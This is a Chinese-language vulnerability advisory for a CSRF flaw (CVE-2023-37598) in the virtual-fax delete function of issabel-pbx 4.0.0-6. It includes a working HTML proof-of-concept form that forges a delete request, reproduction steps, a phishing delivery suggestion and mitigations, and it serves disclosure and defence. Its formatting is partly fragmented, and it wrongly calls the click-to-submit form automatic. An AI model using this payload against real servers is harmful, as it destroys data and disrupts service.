CVE ID: CVE-2023-37598
漏洞类型: 跨站请求伪造(CSRF)
受影响产品: issabel-pbx v4.0.0-6
严重性: 中危
发现者: Sahil Ojha
披露日期: 2023年7月10日
厂商主页: https://www.issabel.org/
软件仓库: https://github.com/IssabelFoundation/issabelPBX
测试环境: Windows
issabel-pbx v4.0.0-6 的虚拟传真管理功能中存在一个**跨站请求伪造(CSRF)**漏洞。该应用在删除虚拟传真条目的操作上未实施 CSRF 防护(例如反 CSRF 令牌或 SameSite Cookie 属性)。
这允许远程、未认证的攻击者构造一个恶意 HTML 页面——当已认证的管理员或用户访问该页面时,页面会在受害者不知情的情况下,以受害者的名义静默提交一个伪造的 HTTP 请求到该应用。该伪造请求会在受害者不知情或未同意的情况下删除虚拟传真记录,导致数据丢失和传真服务中断。
跨站请求伪造(CSRF)是一种攻击,它诱使受害者的浏览器在用户无意图的情况下向 Web 应用发送一个已认证的请求。由于浏览器会自动在每个请求中携带会话 Cookie,当没有 CSRF 令牌时,服务器无法区分合法请求与伪造请求。
| 参数 | 值 |
|---|---|
| 应用 | issabel-pbx |
以下 HTML 文件在被已认证的 issabel-pbx 用户打开后,会自动提交一个伪造的 POST 请求,删除 id_fax=1 的虚拟传真。
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://{Issabel IP}/index.php?menu=faxnew&action=view&id=1" method="POST">
<input type="hidden" name="delete" value="Delete" />
<input type="hidden" name="id_fax" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
注意: 请将
{Issabel IP}替换为目标服务器的 IP 地址或主机名。id_fax的值可以更改,以按 ID 定位任何虚拟传真记录。
登录 Issabel PBX 管理面板,并导航到虚拟传真页面:
https://{Issabel IP}/index.php?menu=faxnew&action=view&id=1

使用 Burp Suite 代理捕获删除请求。 尝试删除一个虚拟传真条目,拦截该请求,右键单击它,然后导航到 Engagement Tools → Generate CSRF PoC。

将生成的 CSRF 漏洞利用保存为 HTML 文件(参见上面的 PoC)。
将漏洞利用交付给已登录 Issabel 应用的用户(例如,通过钓鱼邮件或恶意链接)。当受害者打开页面并点击 “Submit request” 时,虚拟传真条目即被删除,无需任何进一步交互。


攻击者将恶意 HTML 文件托管在外部服务器上,或将其嵌入电子邮件中。当已认证的 Issabel PBX 管理员在同一个浏览器会话中打开此页面时,浏览器会自动将伪造的 POST 请求——连同有效的会话 Cookie——发送到 Issabel 服务器。服务器将该请求视为合法请求,从而删除目标虚拟传真记录。受害者不会收到任何警告,并且可能直到手动检查传真列表时才会注意到该删除操作。
为修复此漏洞,厂商应实施以下一项或多项缓解措施:
SameSite=Strict 或 SameSite=Lax,以防止浏览器在跨源请求中携带该 Cookie。X-Requested-With: XMLHttpRequest),并在服务器端进行验证。| 版本 | 4.0.0-6 |
| 存在漏洞的 URL | /index.php?menu=faxnew&action=view&id=<ID> |
| 存在漏洞的操作 | delete(POST 参数) |
| 缺失的防护 | CSRF 令牌 / SameSite Cookie 属性 |